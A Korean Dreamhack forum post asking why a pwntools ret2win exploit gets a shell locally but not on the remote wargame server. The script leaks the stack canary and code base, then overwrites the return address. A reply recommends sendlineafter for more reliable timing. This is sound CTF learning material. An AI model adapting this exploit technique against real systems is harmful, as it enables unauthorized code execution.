완료됨
remote에서 쉘이 안따집니다
from pwn import *

p = remote("host8.dreamhack.games", 20740)
#p = process("./main")

p.sendline(b'a' * 7)
p.sendline(b'1000')
p.recvuntil(b'a' * 1001)
canary = u64(b'\x00' + p.recvn(7))
print('canary is', hex(canary))

p.sendline(b'a' * 43)
p.sendline(b'1000')
p.recvuntil(b'a' * 1032)
code_base = u64(p.recvn(6) + b'\x00\x00') - 0x128a
print('code_base is', hex(code_base))
win = code_base + 0x1270
ret = code_base + 0x101a

p.sendline(b'\x00' * 43)
p.sendline(b'1000')

#pause()
p.sendline(b'a' * 11 + p64(canary) + b'\x00' * 8 + p64(ret) + p64(win))
p.sendline(b'1000')

p.sendline(b'a')
p.sendline(b'1001')

p.interactive()

로컬에서는 쉘이 따지는데 remote로 연결 시 쉘이 안 따집니다
서버 환경이 로컬과 무엇이 다른지 확인하는 방법이 궁금합니다

#도커 #서버 #로컬 #remote
작성자 정보
더 깊이 있는 답변이 필요할 때
드림핵 팀과 멘토에게 직접 문의해 보세요!
답변 1
avatar
Garden_
시스템 해킹 입문
avatar
Garden_
시스템 해킹 입문

p.sendline()으로 입력을 바로 보내는게 아니라, p.sendlineafter()를 이용해서 특정 출력이 올 때까지 기다렸다가 보내는 것이 익스플로잇 과정의 안정성을 높이는 방법입니다. 수정해서 시도해보시면, 익스플로잇이 성공할 것 같습니다.

2025.08.24. 22:29